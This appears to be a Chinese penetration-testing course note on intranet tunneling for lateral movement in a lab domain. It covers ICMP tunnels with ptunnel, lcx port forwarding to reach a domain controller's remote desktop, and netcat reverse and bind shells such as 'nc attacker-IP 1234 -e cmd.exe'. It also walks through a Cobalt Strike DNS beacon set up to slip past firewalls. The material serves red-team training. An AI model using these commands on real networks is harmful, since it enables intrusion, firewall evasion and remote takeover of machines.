71:内网安全-域横向网络&传输&应用层隧道技术——端口转发本质上是属于传输层的隧道
71:内网安全-域横向网络&传输&应用层隧道技术
思维导图
必备知识点:
1.代理和隧道技术区别?
- 代理只是为了解决网络通信问题,有些内网访问不到,可以用代理实现
- 隧道不仅是解决网络的通信问题,更大的作用是绕过过滤,突破防火墙/入侵检测系统。
2.隧道技术为了解决什么?
- 防火墙过滤问题、网络连接通信问题、数据回链封装问题
- 在数据通信被拦截的情况下,可以利用隧道技术封装改变通信协议进行绕过拦截。比如CS、MSF无法上线,数据传输不稳定无回显,出口数据被监控,网络通信存在问题等问题,都可以通过隧道技术解决。
3.隧道技术前期的必备条件?
- 在用隧道之前要先探测对应隧道协议是否支持,如果不支持,用这个隧道也没有任何意义!
隧道原理
- 在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果发现异样,就会对通信进行阻断。那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上。
常用的隧道技术有以下三种:
- 网络层:IPv6 隧道、ICMP 隧道
- 传输层:TCP 隧道、UDP 隧道、常规端口转发
- 应用层:SSH 隧道、HTTP/S 隧道、DNS 隧道
本课重点:
- 案例1:网络传输应用层检测连通性-检测
- 案例2:网络层ICMP隧道Ptunnel使用-检测,利用
- 案例3:传输层转发隧道Portmap使用-检测,利用
- 案例4:传输层转发隧道Netcat使用-检测,利用,功能
- 案例5:应用层DNS隧道配合CS上线-检测,利用,说明
案例1:网络传输应用层检测连通性-检测
隧道有各种层面的,每个层面又分不同协议,你想要用哪个隧道,就需要先确定目标主机是否支持对应隧道协议。比如你想用一个网络层的 ICMP 隧道,这个时候你要去检测目标主机支不支持ICMP隧道的开启。怎么检测呢?可以使用ping命令去ping地址,看能不能正常通信,如果能的话就可以。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
1.TCP 协议 用“瑞士军刀”——netcat 执行 nc 命令: nc <IP> <端口> 2.HTTP 协议 用“curl”工具,执行curl <IP地址:端口>命令。 如果远程主机开启了相应的端口,且内网可连接外网的话,就会输出相应的端口信息 3.ICMP 协议 用“ ping ”命令,执行 ping <IP地址/域名> 4.DNS 协议 检测DNS连通性常用的命令是“ nslookup ”和“ dig ” nslookup 是windows自带的DNS探测命令 dig 是linux系统自带的DNS探测命令 |
案例2:网络层ICMP隧道ptunnel使用-检测,利用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
kali2020-Target2-Target3 网上介绍的大部分都是老牌工具,ptunnel工具几年前就没有更新了,不推荐使用。 推荐pingtunnel,这个是一直在升级更新的一个工具。 老版本介绍:https: //github .com /f1vefour/ptunnel (需自行编译) 新版本介绍:https: //github .com /esrrhs/pingtunnel (二次开发版) pingtunnel是把tcp /udp/sock5 流量伪装成icmp流量进行转发的工具 为什么要转换?因为tcp、udp、sock5这几个协议受到防火墙和工具的拦截,这个工具就是把这些流量伪装成icmp进行数据传输! 语法 -p ##表示连接icmp隧道另一端的机器IP(即目标服务器) -lp ##表示需要监听的本地tcp端口 -da ##指定需要转发的机器的IP(即目标内网某一机器的内网IP) -dp ##指定需要转发的机器的端口(即目标内网某一机器的内网端口) -x ##设置连接的密码 命令 Webserver:. /ptunnel -x xiaodi Hacker xiaodi:. /ptunnel -p 192.168.76.150 -lp 1080 -da 192.168.33.33 -dp 3389 -x xiaodi #转发的3389请求数据给本地1080 Hacker xiaodi:rdesktop 127.0.0.1 1080 |
环境准备
我们要通过web主机实现对DC的控制,但是DC上面有防护的一些策略,此时可以尝试使用隧道协议。
下面要实现用hacker xiaodi去连接DC,假设前期已知DC的账号密码,攻击者希望通过自己的计算机hacker xiaodi连接到DC的3389,现在76.x是不可能去连接到33.33这台计算机的(可以在kali输入命令:rdesktop 192.168.33.33,连接不上),因为他们不在一个网段。
现在我要实现请求连接DC的3389端口:先通过hackerxiaodi连接webserver的外网接口192.168.76.150,然后借助33网卡连接DC的33.33。
案例演示
<1>用“ping”命令检测连通性,正常通信,说明支持 ICMP 协议,可以使用 ICMP 隧道。
<2>在webserver上开启隧道,设置密码为xiaodi。
1
|
Webserver:. /ptunnel -x xiaodi |
<3>在kali上执行以下命令,将webserver作为跳板,转发目标主机3389请求数据给本地1080端口
1
|
Hacker xiaodi:. /ptunnel -p 192.168.76.150 -lp 1080 -da 192.168.33.33 -dp 3389 -x xiaodi |
上面命令的意思是请求192.168.76.150(webserver),请求到之后,自己监听一下本地的1080,然后将33.33的3389数据,给到本地的1080。然后下一步就直接利用rdesktop连接本地的1080,实质就是连接33.33。
<4>在kali上执行以下命令,弹出远程桌面
1
|
Hacker xiaodi:rdesktop 127.0.0.1 1080 |
这样做有什么意义呢?原来3389连接远程桌面,使用的是3389对应的协议,现在连接远程桌面,流量数据传输就变成使用 ICMP 协议了。
案例3:传输层转发隧道Portmap使用-检测,利用
1
2
3
4
5
6
7
8
9
10
11
12
13
|
隧道技术:传输层端口转发 工具: windows: lcx linux:portmap lcx是一个端口转发工具,通过端口转发的形式,将内网服务器的某一个端口映射到公网另一台服务器的一个端口上去! 下载:https: //github .com /MrAnonymous-1/lcx 命令: DC(3.21):lcx -slave <攻击 IP> 3131 127.0.0.1 3389 // 将本地3389给攻击IP的3131 webserver(3.31):lcx -listen 3131 3333 // 监听3131转发至3333 kali:rdesktop 192.168.76.143:7777 |
环境准备
- 受害者内网的主机(无法出网,但是能和内网的主机进行交互):192.168.3.21(内网ip)
- 受害者内网的主机(跳板,能出网):拥有2个IP地址:192.168.3.31(内网ip)和192.168.76.143(外网ip)
- 攻击者的外网服务器:192.168.76.X
案例演示
<1>在DC上执行以下命令,将本地3389给webserver的6666。
1
|
DC(3.21):lcx -slave 192.168.3.31 6666 127.0.0.1 3389 |
<2>在webserver上执行以下命令,监听6666端口流量并转发至7777
1
|
webserver(3.31):lcx -listen 6666 7777 |
<3>在webserver上执行以下命令,连接webserver的7777,登录远程桌面访问,这里其实登录的是域控DC的远程桌面。
1
|
rdesktop 192.168.76.143:7777 |
登录成功
案例4:传输层转发隧道Netcat使用-检测,利用,功能
netcat工具是windows和linux都能利用,但是用的时候一定要确保nc是最新版,linux是自带这个命令,老版本有的不支持-e这个选项,很多功能会有限制。
netcat称为瑞士军刀的原因就是它利用起来非常方便,反弹会话是有很多方式的,可以利用多种协议去实现控制,因为我们在实战过程中会有很多协议被封住被拦截,所以我们要掌握很多种控制的协议,实战中就不会掉链子!
netcat使用的是TCP协议,所以如果受害主机没有过滤TCP协议,我们就可以尝试使用nc命令在传输层建立隧道连接实现与控制主机的通信。
nc命令复习:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
环境准备:Kali2020-god\webserver-god\sqlserver| dc 1.双向连接反弹shell 环境:攻击主机webserver(3.31)-->受害主机DC(3.21) 正向-攻击连接受害 受害: nc -ldp 1234 -e /bin/sh //linux (把shell会话反弹给1234端口) nc -ldp 1234 -e c:\windows\system32\cmd.exe //windows (把cmd反弹给1234端口) 攻击: nc 受害主机IP 1234 // 主动连接 反向-受害连接攻击 攻击: nc -lvp 1234 // 攻击主机监听自己的1234 受害: nc 攻击主机IP 1234 -e /bin/sh nc 攻击主机IP 1234 -e c:\windows\system32\cmd.exe 什么时候用正向,什么时候用反向? 这是根据网络情况,如果受害主机可以找到你,就用反向,受害主机找不到你,就用正向。 2.多向连接反弹shell-配合转发 环境:kali(76.132)-->webserver(3.31、76.143)-->sqlserver(3.32) 反向: god\Webserver:lcx.exe -listen 2222 3333 // 把自己的2222端口给3333 god\Sqlserver: nc 192.168.3.31 2222 -e c:\windows\system32\cmd.exe // 把cmd反弹给webserver的2222端口 kali或本机: nc - v 192.168.76.143 3333 // 连接Webserver的3333端口(获取Sqlserver的cmd窗口数据) 思考:正向该怎么操作呢?实战中该怎么选择正向和反向? 3.相关netcat主要功能测试 指纹服务: nc -nv 192.168.76.143 端口扫描: nc - v -z 192.168.76.143 1-100 端口监听: nc -lvp xxxx 文件传输: nc -lp 1111 >1.txt | nc -vn xx.xx.x.x 1111 <1.txt -q 1 反弹Shell:见上 |
案例演示1-正向(攻击连接受害)
<1>在受害主机DC上执行以下命令,将自身的cmd窗口反弹给1234端口
1
|
DC上: nc -ldp 1234 -e c:\windows\system32\cmd.exe |
<2>在攻击主机webserver上执行以下命令,主动连接,成功反弹shell
1
|
webserver上: nc 192.168.3.21 1234 |
案例演示2-反向(受害连接攻击)
<1>在攻击主机webserver上执行以下命令,监听1234端口
1
|
webserver: nc -lvp 1234 |
<2>在受害主机DC上执行以下命令,将自身的命令窗口给到webserver的1234端口
1
|
nc 192.168.3.31 1234 -e c:\windows\system32\cmd.exe |
<3>在攻击主机webserver上,成功反弹shell
案例演示3-多向连接反弹shell-配合转发-反向
环境:kali(76.132)-->webserver(3.31、76.143)-->sqlserver(3.32)
<1>在Webserver上执行以下命令,把自己的2222端口给3333,并监听
1
|
god\Webserver:lcx.exe -listen 2222 3333 |
<2>在Sqlserver上执行以下命令,把cmd反弹给webserver的2222端口
1
|
god\Sqlserver: nc 192.168.3.31 2222 -e c:\windows\system32\cmd.exe |
此时Webserver上监听到会话
<3>在kali上执行以下命令,连接Webserver的3333端口,成功反弹shell,连接到Sqlserver。
1
|
kali或本机: nc - v 192.168.76.143 3333 |
案例5:应用层DNS隧道配合CS上线-检测,利用,说明
当常见协议监听器被拦截时,可以换其他协议上线,其中dns协议上线基本通杀
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
1.云主机Teamserver配置端口53启用-udp 2.买一个域名修改解析记录如下: A记录->cs主机名->CS服务器IP NS记录->ns1主机名->上个A记录地址 NS记录->ns2主机名->上个A记录地址 3.配置DNS监听器内容如下: ns1.xiaodi8.com ns2.xiaodi8.com cs.xiaodi8.com 4.生成后门执行上线后启用命令: beacon> checkin [] Tasked beacon to checkin beacon> mode dns-txt [+] data channel set to DNS-TXT [+] host called home, sent: 8 bytes beacon> shell whoami [] Tasked beacon to run: whoami [+] host called home, sent: 53 bytes [+] received output: xiaodi-pc\xiaodi |
应用层是在实战中经常用到的,之前两个层面会经常被防火墙拦截(网络/传输层),下面用DNS隧道来实现 cs上线。
cs的监听器对应着后门绑定的协议。常规是用http上线,dns比http速度要慢。当常见协议监听器被拦截时,可以换其他协议上线,其中dns协议上线基本通杀。因为dns是域名解析,这个协议一般都不会被拦截,数据通过dns协议给出去,一般也不会被拦截!
我们在生成监听器的时候有个payload,可以选择不同的协议。网上还有插件,还可以有很多其他协议。
案例演示
<1>云主机Teamserver配置端口53启用-udp(只有阿里云主机有这个端口问题,其他主机一般没有)
<2>买一个域名修改解析记录如下:
- A记录->cs主机名->CS服务器IP
- NS记录->ns1主机名->上个A记录地址
- NS记录->ns2主机名->上个A记录地址
<3>配置DNS监听器内容如下:ns1.xiaodi8.com、ns2.xiaodi8.com、cs.xiaodi8.com
<4>配置完之后,启动监听器,如下
<5>生成后门,attacks-->packages-->windows executable(s)-->listener选择dns上线,勾选-->选择后门生成位置-->生成后门(dns_x.exe)
<6>将后门上传到webserver,执行。执行后门后,cs出现一个黑窗口。
<7>点击小图标,出现unknown主机,原因是我们使用DNS上线,DNS速度特别慢。此时我们需要再敲几条命令才能实现控制。
<8>右击unknown主机,选择interact,启用命令。执行以下命令,等待一会儿就会上线成功
1
2
|
beacon> checkin beacon> mode dns-txt |
一直没有成功,换本机测试,上线成功
等待了许久,终于上线成功。图标上有闪电,说明对应的阿里云主机上存在一些防护措施。
隧道技术其实就是不断变换协议,走不同协议来实现数据通信!!!